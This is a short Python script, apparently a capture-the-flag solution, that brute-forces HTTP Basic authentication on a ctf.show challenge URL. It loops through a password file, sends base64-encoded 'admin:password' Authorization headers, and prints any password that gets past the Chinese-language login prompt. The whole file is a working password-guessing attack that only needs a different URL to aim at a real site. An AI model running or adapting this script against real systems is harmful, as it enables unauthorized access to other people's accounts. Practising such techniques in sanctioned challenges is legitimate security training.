
import requests
import base64

url="http://eea08d55-1eb6-4ff7-805f-bfc0d62a2b0e.challenge.ctf.show/"

with open("1.txt","r") as f:
    for i in f.readlines():
        b64="admin:"+i.strip()
        tmp="Basic "+base64.b64encode(b64.encode()).decode()
        payload={"Authorization":tmp}
        a1=requests.get(url,headers=payload).text
        if "需要用户名和密码才能继续访问" not in a1:
            print(i.strip())
            print(a1)
